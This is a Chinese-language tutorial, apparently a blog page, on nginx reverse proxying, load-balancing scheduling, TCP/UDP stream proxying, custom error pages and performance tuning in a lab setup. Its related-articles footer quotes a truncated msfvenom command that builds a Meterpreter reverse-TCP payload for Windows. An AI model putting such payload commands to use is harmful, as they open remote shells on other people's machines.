准备环境  :

两台web服务     安装http  写入文档  并启动

yum -y install httpd

echo "192.168.2.100" > /var/www/html/index.html

systemctl restart httpd

安装nginx

1.  配置Nginx服务器,添加服务器池,实现反向代理功能

修改/usr/local/nginx/conf/nginx.conf配置文件

http {

.. ..

#使用upstream定义后端服务器集群,集群名称任意(如webserver)

#使用server定义集群中的具体服务器和端口

upstream webserver {

server 192.168.2.100:80;

server 192.168.2.200:80;

}

.. ..

server {

listen        80;

server_name localhost;

location / {

#通过proxy_pass将用户的请求转发给webserver集群

proxy_pass http://webserver;

}

}

/usr/local/nginx/sbin/nginx -s reload                     重新加载配置

curl http://192.168.4.5                                     //使用该命令多次访问查看效果
2.配置upstream服务器集群的调度算法

upstream webserver {

#通过ip_hash设置调度规则为:相同客户端访问相同服务器

ip_hash;

server 192.168.2.100 weight=1 max_fails=2 fail_timeout=10;

server 192.168.2.200 weight=2 max_fails=2 fail_timeout=10;

server 192.168.2.101 down;

}

  1. #weight设置服务器权重值,默认值为1
  2. #max_fails设置最大失败次数,测试服务器几次才确认服务器失败
  3. #fail_timeout设置失败超时时间,单位为秒
  4. #down标记服务器已关机,不参与集群调度

(可根据需求更改集群池属性)

3.Nginx的TCP/UDP调度器

部署支持4层TCP/UDP代理的Nginx服务器

yum -y install gcc pcre-devel openssl-devel        //安装依赖包

wget   http://nginx.org/download/nginx-1.12.2.tar.gz     (也可配置阿里源用yum安装)

tar -xf nginx-1.12.2.tar.gz

cd nginx-1.12.2

./configure   --with-http_ssl_module   --with-stream

//开启SSL加密功能         //开启4层反向代理功能

make && make install     //编译并安装

配置Nginx服务器,添加服务器池,实现TCP/UDP反向代理功能

vim /usr/local/nginx/conf/nginx.conf

stream {

upstream backend {

server 192.168.2.100:22;            //后端SSH服务器的IP和端口

server 192.168.2.200:22;

}

server {

listen 12345;                    //Nginx监听的端口

proxy_pass backend;

}

}

/usr/local/nginx/sbin/nginx -s reload                 重新加载配置

ssh 192.168.4.5 -p 12345            //使用该命令多次访问查看效果

4.优化404页面

修改Nginx配置文件,自定义报错页面

vim /usr/local/nginx/conf/nginx.conf

charset utf-8; //仅在需要中文时修改该选项

error_page 404 /404.html;    //自定义错误页面

.. ..

vim /usr/local/nginx/html/404.html        //生成错误页面

Oops,No NO no page …

/usr/local/nginx/sbin/nginx -s reload                 重新加载配置

firefox http://192.168.4.5/xxxxx        //访问一个不存在的页面

优化Nginx并发量

优化前使用ab高并发测试

ab -n 2000 -c 2000 http://192.168.4.5/

Benchmarking 192.168.4.5 (be patient)

socket: Too many open files (24)                //提示打开文件数量过多

vim /usr/local/nginx/conf/nginx.conf
.. ..

worker_processes 2;                    //与CPU核心数量一致

events {

worker_connections 65535;        //每个worker最大并发连接数

}

.. ..

优化Linux内核参数(最大文件数量)

ulimit -a                        //查看所有属性值

ulimit -Hn 100000                //设置硬限制(临时规则)

ulimit -Sn 100000                //设置软限制(临时规则)

vim /etc/security/limits.conf

*          soft       nofile        100000

*          hard      nofile        100000

ab -n 2000 -c 2000 http://192.168.4.5/                       优化后测试服务器并发量

优化Nginx数据包头缓存
优化前,使用脚本测试长头部请求是否能获得响应

cat lnmp_soft/buffer.sh

#!/bin/bash

URL=http://192.168.4.5/index.html?

for i in {1..5000}

do

URL=${URL}v$i=$i

done

curl $URL                                //经过5000次循环后,生成一个长的URL地址栏

[root@proxy ~]# ./buffer.sh

.. ..

<center><h1>414 Request-URI Too Large</h1></center>        //提示头部信息过大

修改Nginx配置文件,增加数据包头部缓存大小

vim /usr/local/nginx/conf/nginx.conf

.. ..

http {

client_header_buffer_size 1k;        //默认请求包头信息的缓存

large_client_header_buffers 4 4k;        //大请求包头部信息的缓存个数与容量

.. ..

/usr/local/nginx/sbin/nginx -s reload                 重新加载配置

优化后,使用脚本测试长头部请求是否能获得响应

5.修改Nginx配置文件,定义对静态页面的缓存时间

vim /usr/local/nginx/conf/nginx.conf

server {

listen 80;

server_name localhost;

location / {

root html;

index index.html index.htm;

}

location ~* \.(jpg|jpeg|gif|png|css|js|ico|xml)$ {

expires        30d;            //定义客户端缓存时间为30天

}

}

cp /usr/share/backgrounds/day.jpg /usr/local/nginx/html

/usr/local/nginx/sbin/nginx -s reload                 重新加载配置

nginx反向代理 和部分优化的更多相关文章

  1. nginx反向代理配置及优化

    nginx反向代理配置及优化前言: 由于服务器apache抗不住目前的并发.加上前端squid配置后,问题依然无法解决.而页面程序大部分是动态.无法使用fastcgi来处理.因此想使用nginx做为反 ...

  2. nginx反向代理的配置优化

    作者:守住每一天 blog:liuyu.blog.51cto.combbs:bbs.linuxtone.orgmsn:liuyubj520#hotmail.comemail:liuyu105#gmai ...

  3. Nginx 反向代理、负载均衡、页面缓存、URL重写以及读写分离

    1.环境准备 前端Nginx:10.160.65.44 后端WEB服务器两台:10.160.65.49/10.160.65.50 2.安装Nginx: 下载nginx-1.9.15.tar.gz,放置 ...

  4. nginx反向代理+缓存开启+url重写+负载均衡(带健康探测)的部署记录

    在日常运维工作中,运维人员会时常使用到nginx的反向代理,负载均衡以及缓存等功能来优化web服务性能. 废话不多说,下面对测试环境下的nginx反向代理+缓存开启+url重写+负载均衡(带健康探测) ...

  5. Nginx反向代理+DNS轮询+IIS7.5 千万PV 百万IP 双线 网站架构案例

    原文地址:http://www.jb51.net/article/31844.htm Nginx  ("engine x") 是一个高性能的 HTTP 和反向代理服务器,也是一个 ...

  6. Nginx 反向代理、负载均衡

    ## Nginx 反向代理. (一)简介 一.什么是代理服务器 客户机原本发送给服务器的请求,不会直接发送给服务器,而是先发送给代理服务器:经过代理服务器处理后转发给服务器:服务器数据处理后转回给代理 ...

  7. Nginx反向代理解决iframe跨域问题

    前言 这几天有个需求:做个表单页面,要求后台人员能自定义发布表单,用户来填写表单.我一想,这不麦克表单有现成的吗,拿来就用!发布表单后,可以选择使用iframe方式嵌入网站,一切顺利. 当时的网站是h ...

  8. Nginx 反向代理工作原理简介与配置详解

    Nginx反向代理工作原理简介与配置详解   by:授客  QQ:1033553122   测试环境 CentOS 6.5-x86_64 nginx-1.10.0 下载地址:http://nginx. ...

  9. nginx反向代理缓存服务器的构建

    一:代理服务可简单的分为正向代理和反向代理: 正向代理:用于代理内部网络对Internet的连接请求(如VPN/NAT),客户端指定代理服务器,并将本来要直接发送给目标Web服务器的HTTP请求先发送 ...

随机推荐

  1. python私有变量的分类

  2. Kubernetes3-kubectl管理Kubernetes容器平台-2

    一.kubectl管理集群中deployment资源与service服务 1.相关参数 kubectl edit 编辑服务器侧资源 kubectl replace 替换,使用 yaml 配置文件来替换 ...

  3. css3的过渡和动画的属性介绍

    一.过渡 什么是过渡? 过渡是指:某元素的css属性值在一段时间内,平滑过渡到另外一个值,过渡主要观察的是过程和结果. 设置能够过渡的属性: 支持过渡的样式属性,颜色的属性,取值为数值,transfo ...

  4. MSF小记

    0x00 Windows,Linux反弹shell生成 Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport= ...

  5. 深入讲解 Laravel 的 IoC 服务容器

    众所周知,Laravel 控制反转 (IoC) / 依赖注入 (DI) 的功能非常强大.遗憾的是, 官方文档 并没有详细讲解它的所有功能,所以我决定自己实践一下,并整理成文.下面的代码是基于 Lara ...

  6. mpvue开发微信小程序,分享按钮报错:`Cannot read property 'apply' of null`

    用mpvue开发微信小程序,分享按钮报错:Cannot read property 'apply' of null onShareAppMessage 是于微信小程序Pages的生命周期钩子,顾这个方 ...

  7. nyoj 27-水池数目(BFS, DFS)

    27-水池数目 内存限制:64MB 时间限制:3000ms Special Judge: No accepted:17 submit:22 题目描述: 南阳理工学院校园里有一些小河和一些湖泊,现在,我 ...

  8. 什么是TCP, UDP, HTTP, HTTPS协议?

    TCP 传输控制协议是一种面向连接的.可靠的.基于字节流的传输层通信协议,由IETF的RFC793定义. TCP主要特点: 1. 面向连接: (1)应用程序在使用TCP协议之前,必须先建立TCP连接. ...

  9. python中的__call__方法

    在Python中,函数其实是一个对象: >>> f = abs >>> f.__name__ 'abs' >>> f(-) 由于 f 可以被调用, ...

  10. 如何在maven中下载jar包

    1.进入maven网址  https://mvnrepository.com/ 2.搜索你想要的包的名字 3.找到列表中你想要的包 4.点击一个版本 5.点击 view all 6.找到你想要的包,点 ...